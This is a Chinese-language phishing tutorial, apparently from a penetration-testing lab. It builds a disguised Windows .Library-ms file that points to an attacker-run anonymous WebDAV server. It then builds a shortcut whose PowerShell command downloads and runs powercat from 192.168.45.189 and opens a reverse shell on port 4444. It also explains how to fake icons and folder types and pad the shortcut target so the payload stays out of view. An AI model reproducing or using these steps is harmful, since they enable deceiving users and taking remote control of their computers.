库是用户内容的虚拟容器。库可以包含存储在本地计算机上或远程存储位置中的文件和文件夹。在 Windows 资源管理器中,用户与库的交互方式类似于与其他文件夹的交互方式。库基于用户熟悉的旧式已知文件夹 ((如“我的文档”、“我的图片”和“我的音乐”) ),这些已知文件夹会自动包含在默认库中,并设置为默认保存位置。
# 参考链接:
https://learn.microsoft.com/zh-cn/windows/client-management/client-tools/windows-libraries
首先,我们先创建一个WebDAV的文件共享库。
pip3 install wsgidav
然后创建webdav目录,用作共享文件夹。在共享文件夹中再创建一个测试txt文件。最后再配置webdav运行的目录、监听的IP、端口、允许匿名用户访问、根目录位置等。
mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
访问本地地址,可以看到我们的webdav服务已经启用了,并且测试文件也能看到和下载了。
接下来,我们再创建以个库文件config.Library-ms库文件的内容是由XML编写,并由一般库信息、库属性、库位置三部分构成。从开始标识到结束标识,最基本的内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
</libraryDescription>
创建库文件以后,我们可以看到文件icon似乎有点怪怪的,看起来不像我们平时经常打开的文件icon。所以为了增加可信度,增强phishing的成功率,我们可以对icon进行更改。这里可以采用iconReference标签在imageres.dll库中指定。在imageres.dll中,004为Documents Folder的icon。当然,也可以指定其他的icons,比如-1003是图片索引的icon。这里我提供一个icons in imageres.dll list。
# 参考链接
https://renenyffenegger.ch/development/Windows/PowerShell/examples/WinAPI/ExtractIconEx/imageres.html
为了根据有迷惑性,我们再使用templateInfo标签来指定库文件打开后在Windows资源管理器中的列和详细信息显示为Documents Folder。因此我们还需要再加一个folderType子标签,并且为该标签指定一个GUID。GUID的对照表可查看Microsoft官方文档。
<iconReference>imageres.dll,004</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
然后我们还缺一个必要的标签,根据Microsoft官方文档的描述,name标签是必须的。该标签是为了指定库名称的(非库文件名称)。我们根据官方文档来写,顺便把版本信息也写进去(随意些什么版本都OK)。
# 官方文档地址
https://learn.microsoft.com/en-us/windows/win32/shell/schema-library-name
<name>@windows.storage.dll,-34582</name>
<version>1.0</version>
库文件的伪装基本OK了,接下来我们需要写入关键的内容。就是将库文件链接到我们之前搭建的webdav。这就需要用到searchConnectorDescriptionList标签来标记库文件指向的存储位置。在这个标签下,我们还需要searchConnectorDescription来定义搜索连接器列表。同时,为了让用户在保存内容的时候,库文件使用默认行为和位置。所以还要添加一个isDefaultSaveLocation标签,并且是这位true。最后,也是最重要的部分,就是用url标签来指向连接我们的webdav远程位置。而url标签需要simpleLocation标签来指定。
这一段可能有点绕,我稍微做一下整理,进行解释:
1.目的是为了让库文件链接我们的webdav,因此需要url标签;
2.因为要url标签,所以要先有simpleLocation标签;
3.而要有simpleLocation标签,就需要searchConnectorDescriptionList标签 ##标记库文件指向的存储位置;
3.在searchConnectorDescriptionList标签下,需要searchConnectorDescription ##定义搜索连接器列表;
4.为了保存内容的时候,库文件使用的是默认行为和位置,因此还需要isDefaultSaveLocation
以下是searchConnectorDescriptionList完整的代码:
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<simpleLocation>
<url>http://192.168.45.189</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
最后,我们来看看整个完整的库文件xml代码:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>1.0</version>
<iconReference>imageres.dll,004</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<simpleLocation>
<url>http://192.168.45.189</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
我们双击打开编辑好的库文件,可以看到icon图标是一个文件夹的图标,打开以后的位置也是我们webdav的位置,里面存放的就是我们之前创建的测试文件。
但是当我们再次查看库文件的xml内容时,可以看到内容多了一个serialized标签。这个标签的内容实际上就是url标签的位置内容。同时我们也可以看到url标签的位置从http://192.168.45.189变为了\192.168.45.189\DavWWWRoot。所以需要注意的就是库文件现在双击打开虽然仍然有效,但是因为序列化标签的问题,这个库文件在其他机器或该机器重启后就失效了。
接下来,我们来做最后一步的准备。就是利用库文件来执行我们想要的代码。我们先创建一个快捷方式。
在创建快捷方式的时候指定我们想要的路径和命令。这里我是指定执行 PowerShell并去下载powercat,再用powercat去反向连接我们的nc。然后点击下一步,并取一个比较有诱导性的名称。
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.189:8080/powercat.ps1');powercat -c 192.168.45.189 -p 4444 -e powershell"
创建快捷方式后,为了更具迷惑性,也可以改一下快捷方式的icon。同时在target那里,如果担心目标用户会去查看,然后怀疑文件的话,这里也可以用空格或其他无害内容加分号的方式把有害内容往后推,一直到看不见为止。
最后把库文件发给目标用户,并诱导其点击我们制作的lnk文件,即可收到反弹的shell。